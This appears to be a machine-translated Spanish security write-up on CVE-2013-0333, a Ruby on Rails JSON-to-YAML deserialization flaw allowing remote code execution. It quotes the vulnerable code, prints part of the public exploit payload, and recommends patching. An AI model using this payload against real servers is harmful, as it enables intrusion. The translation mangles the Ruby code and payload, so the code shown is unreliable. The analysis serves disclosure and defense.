Datos básicos
CVE: CVE-2013-0333
Afecta: Ruby on Rails
Versiones afectadas: 2.3.x, 3.0.x
no afectada : 3.1.x, 3.2.x, las aplicaciones que utilizan la gema yajl
Versiones fijas:. 3.0.20, 2.3.16
Asesor: https://groups.google.com/forum/?fromgroups = #! topic/rubyonrails-security/1h2DR63ViGo
Detalles Técnicos
Ruby on ActiveSupport de Rail :: JSON incluye varios diferentes bibliotecas de análisis de JSON. Uno de estos programas de análisis permite la conversión de JSON a YAML, que es el backend de manera predeterminada. El código fuente afectada en yaml.rb implica analizar directamente el usuario de entrada JSON en el analizador YAML (ejemplo 1)
Ejemplo 1 (2.3.8):.
ActiveSupport # archivo / lib / active_support / json / backend / yaml.rb, línea 11
11: decodificar def (JSON)
12: YAML.load (convert_json_to_yaml (JSON))
13: ; rescate ArgumentError => e
14: aumentar ParseError,
15: ; final
Ejemplo 1 (3.0.9):
# Archivo ActiveSupport / lib / active_support / json / backend / YAML. rb, línea 18
18: decodificar def (JSON)
19: si json.respond_to (?: leer)
20: json = json.read
21: end
22: YAML.load (convert_json_to_yaml (JSON))
23: Rescate * EXCEPCIONES => e
24: aumentar ParseError, «Invalid string JSON: ‘% s'»% json
25: termina
Como la línea en negrita nos muestra, el JSON controlada por el usuario arbitrario se convierte en YAML con sólo conversión símbolo JSON-> YAML. Eso significa que no hay validación de que el JSON es válido y no se filtra aparte de las conversiones básicas JSON-> YAML. Esto permite a un atacante crear una petición POST con los datos para manipular el analizador YAML para permitir la ejecución remota de código.
El exploit público es muy sencillo de utilizar. Se crea una petición POST con una cadena de ataque construido como:
[code]
escaped_payload = «foo nend n # {carga} n__END__ n . «
encoded_payload = escaped_payload.to_yaml.sub (‘—‘,») chomp
YAML =% {
— ruby / picadillo: ActionController :: Routing :: RouteSet :: NamedRouteCollection />
: ruby / struct impagos />
: Controlador: foos
required_parts: []
Requisitos:
: la acción: crear
: Controlador: foos
segment_keys:
– Formato
} despojar encoded_yaml = yaml.gsub (‘:’, ‘. u003a ‘)
[/code]
El código de explotación es la parte más interesante de todo esto. Tienes que tener JSON que sobrevive a la conversión semi-YAML (como el 🙂 y que todavía permiten la ejecución de código
rubí / almohadilla:.!
Existen exploits públicos aquí https://gist.github.com/4660248 y esta prueba de concepto ya se ha convertido en un módulo de Metasploit. Un parche ha sido la liberación de las versiones afectadas. Para evitar que usted las futuras vulnerabilidades YAML sería recomendable que cambie a la gema safe_YAML.